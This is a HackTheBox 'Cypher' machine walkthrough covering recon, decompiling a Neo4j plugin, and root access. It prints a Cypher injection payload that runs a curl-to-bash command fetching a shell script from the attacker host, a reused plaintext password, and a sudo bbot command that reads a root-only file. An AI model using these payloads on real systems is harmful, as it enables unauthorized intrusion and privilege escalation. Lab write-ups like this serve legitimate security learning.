Cypher

📅 Last Updated: Jul 08, 2025 07:14 | 📄 Size: 5.7 KB | 🎯 Type: HackTheBox Writeup | 🔗 Back to List

1,Recon port scan

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Check whatweb here

http://cypher.htb/ [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.24.0 (Ubuntu)], IP[10.10.11.57], JQuery[3.6.1], Script, Title[GRAPH ASM], nginx[1.24.0]

Seems like nothing interesting here.

Page check By fuzz the valid web-contents, I found

about                   [Status: 200, Size: 4986, Words: 1117, Lines: 179, Duration: 26ms]
api                     [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 43ms]
demo                    [Status: 307, Size: 0, Words: 1, Lines: 1, Duration: 58ms]
index                   [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 30ms]
index.html              [Status: 200, Size: 4562, Words: 1285, Lines: 163, Duration: 30ms]
login                   [Status: 200, Size: 3671, Words: 863, Lines: 127, Duration: 40ms]
testing                 [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 28ms]

In this place, /testing would be interesting here. Then we can get the jar file here, we can use jd-gui to decompile it Then we can find the command injection here.

  
public class CustomFunctions {  
  @Procedure(name = "custom.getUrlStatusCode", mode = Mode.READ)  
  @Description("Returns the HTTP status code for the given URL as a string")  
  public Stream<StringOutput> getUrlStatusCode(@Name("url") String url) throws Exception {  
    if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://"))  
      url = "https://" + url;   
    String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };  
    System.out.println("Command: " + Arrays.toString((Object[])command));  
    Process process = Runtime.getRuntime().exec(command);  
    BufferedReader inputReader = new BufferedReader(new InputStreamReader(process.getInputStream()));  
    BufferedReader errorReader = new BufferedReader(new InputStreamReader(process.getErrorStream()));  
    StringBuilder errorOutput = new StringBuilder();  
    String line;  
    while ((line = errorReader.readLine()) != null)  
      errorOutput.append(line).append("\n");   
    String statusCode = inputReader.readLine();  
    System.out.println("Status code: " + statusCode);  
    boolean exited = process.waitFor(10L, TimeUnit.SECONDS);  
    if (!exited) {  
      process.destroyForcibly();  
      statusCode = "0";  
      System.err.println("Process timed out after 10 seconds");  
    } else {  
      int exitCode = process.exitValue();  
      if (exitCode != 0) {  
        statusCode = "0";  
        System.err.println("Process exited with code " + exitCode);  
      }   
    }   
    if (errorOutput.length() > 0)  
      System.err.println("Error output:\n" + errorOutput.toString());   
    return Stream.of(new StringOutput(statusCode));  
  }

The injection point is here: String[] command = new String[]{"/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url}; In summary, the code is used to make an HTTP request and return the HTTP status code, which is a good attack vector for us.

To exploit this, we need to go to the login page. This page is vulnerable to Cypher Injection, so let's use this payload in the "username" parameter:

{"username":"admin' return h.value as a UNION CALL custom.getUrlStatusCode(\"cypher.com;curl 10.10.xx.xx/shell.sh|bash;#\") YIELD statusCode AS a RETURN a;//","password":"Password123"}

Then our request would be

POST /api/auth HTTP/1.1
Host: cypher.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 29
Origin: http://cypher.htb
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://cypher.htb/login
Priority: u=0

{"username":"admin' return h.value as a UNION CALL custom.getUrlStatusCode(\"cypher.com;curl 10.10.16.10/shell.sh|bash;#\") YIELD statusCode AS a RETURN a;//","password":"Password123"}

Then remember make your own shell.sh and open the netcat to listen the port

Finally, we can get the user shell as neo4j

2, shell as graphasm Then we can find a file bbot_preset.yml from /home/graphasm

targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK

Very luckily, we can login to graphasm by using the password before cU4btyib.20xtCMCXkBmerhK

3, shell as root Firstly, I would like check the sudo -l

graphasm@cypher:~$ sudo -l
Matching Defaults entries for graphasm on cypher:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User graphasm may run the following commands on cypher:
    (ALL) NOPASSWD: /usr/local/bin/bbot

For privilege escalation, while logged in as the graphasm user, using "sudo -l" we see that we can execute a binary as root. Just run this command to obtain the root.txt: sudo /usr/local/bin/bbot -cy /root/root.txt -d --dry-run